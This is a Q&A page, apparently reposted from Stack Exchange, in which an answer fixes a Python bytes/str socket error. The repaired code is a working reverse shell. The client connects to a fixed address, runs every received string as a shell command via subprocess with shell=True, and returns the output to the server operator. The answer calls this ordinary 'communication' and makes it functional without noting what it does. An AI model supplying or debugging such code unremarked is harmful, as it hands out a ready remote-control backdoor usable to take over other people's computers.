Python Socket服务端与客户端通信报错TypeError: a bytes-like object is required, not 'str'求助
Hey there! Let's break down and fix the error you're seeing. The TypeError: a bytes-like object is required, not 'str' happens because Python 3's socket methods work with bytes, not raw strings. Let's adjust both your server and client code to handle this properly.
Why the Error Occurs
When you call v.send(mssge) in your server, mssge is a string (from input()), but send() expects a bytes object. The same goes for handling received data—you'll need to convert between bytes and strings where necessary to make the communication work.
Modified Server Code
We'll convert the input string to bytes with encode() before sending, and decode received bytes back to a string for readable output:
import socket s = socket.socket() h="192.168.1.2" p=665 s.bind((h, p)) print ("YOUR SESSION HAS BEEN CREATED IN PORT : ", p) s.listen(1) v, addr = s.accept() print("SUCCESS CONNECTION ...", addr) mssge = input ("==> ") while mssge != 'e': # Encode string to bytes before sending v.send(mssge.encode('utf-8')) data = v.recv(1024) # Decode bytes to string for readable printing print(data.decode('utf-8')) mssge = input ("==> ") s.close()
Modified Client Code
On the client side, we need to decode the received command bytes to a string before passing it to subprocess.Popen(), then send back the raw bytes from the command output (since stdout.read() already returns bytes):
import subprocess import socket s= socket.socket() h="192.168.1.2" p=665 s.connect((h, p)) while True: data = s.recv(1024) if not data: break # Convert received bytes to string and clean up extra whitespace cmd = data.decode('utf-8').strip() co = subprocess.Popen(cmd, shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE) ct = co.stdout.read() + co.stderr.read() # Send the raw output bytes back to the server s.send(ct) s.close()
Key Notes
- Encoding Consistency: We used
utf-8here—if your system uses a different default encoding (likegbkon Windows), adjust theencode()/decode()calls to match your system's setting. - Whitespace Handling: The
strip()in the client removes any extra newlines or spaces from the received command, ensuring it executes correctly without unexpected errors. - Exit Behavior: When you type
ein the server, the loop exits and the socket closes. The client will detect the emptyrecv()result and close its connection automatically.
内容的提问来源于stack exchange,提问作者elharam4

